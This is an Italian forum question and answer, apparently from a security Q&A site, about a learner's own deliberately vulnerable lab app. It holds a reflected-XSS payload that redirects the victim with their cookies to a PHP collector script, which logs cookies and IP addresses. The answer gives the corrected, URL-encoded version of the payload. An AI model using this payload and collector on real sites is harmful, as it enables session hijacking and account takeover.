Impossibile rubare cookie nella mia app vulnerabile XSS riflessa

1

Sto cercando di conoscere XSS in modo tale da rendere l'app Web vulnerabile all'XSS riflesso. Sto cercando di rubare i cookie dell'utente, quindi se scrivo quanto segue viene visualizzato il valore del cookie:

http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>

Voglio inviare il valore del cookie al seguente script PHP (getcookies.php) nel mio localhost:

<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . '  Cookie: ' . $_GET["c"] .  PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>

Quando scrivo questo URL del browser, lo script PHP ottiene il valore 'test' di c param.

http://localhost/getcookies.php?c=test

Invece quando scrivo questo, lo script PHP non ottiene alcun valore.

http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>

Qualcuno potrebbe dirmi perché non funziona?

Aggiornamento:

  • Posso anche eseguire questo payload:

    message=<script>document.body.innerHTML = '';</script>
    message=<script>document.write("hi");</script>
    
  • I cookie non sono HttpOnly.

  • No, la richiesta GET è non inviata al server.

posta v8rs 23.01.2017 - 20:03
fonte

1 risposta

2

Ho visto in Firebug che il carico utile inviato dalla richiesta GET era il seguente:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27+document.cookie;%3C/script%3E

Quindi il carattere + non era codifica URL. L'ho codificato: %2B risultante nel seguente payload:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27%2Bdocument.cookie;%3C/script%3E
    
risposta data 23.01.2017 - 21:47
fonte

Leggi altre domande sui tag